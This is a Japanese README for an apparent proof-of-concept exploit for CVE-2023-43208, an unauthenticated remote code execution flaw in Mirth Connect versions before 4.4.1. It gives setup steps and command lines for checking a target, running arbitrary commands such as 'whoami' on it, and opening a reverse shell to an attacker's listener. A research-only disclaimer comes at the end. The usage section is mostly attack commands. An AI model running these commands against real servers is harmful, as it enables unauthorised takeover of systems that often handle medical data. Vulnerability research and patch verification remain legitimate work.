CVE-2023-43208 - Mirth Connect の未認証RCE

要件

• Python 3.11 以上（3.11、3.12、3.13 でテスト済み）

セットアップ

# Create a clean virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Install pinned dependencies
pip install -r requirements.txt

使用方法

# Check version only
python3 CVE-2023-43208.py -u https://TARGET/ --check

# Execute a single command
python3 CVE-2023-43208.py -u https://TARGET/ -c "whoami"

# Reverse shell (start nc listener first)
python3 CVE-2023-43208.py -u https://TARGET/ -l LHOST -p LPORT

注意事項

• サーバーからの500応答は正常で想定どおりです — コマンドは引き続き実行されます
• Mirth Connect < 4.4.1 に影響

免責事項

この概念実証（PoC）は研究および教育目的のみで提供されます。 所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 作者は、このコードによって引き起こされた誤用または損害について一切責任を負いません。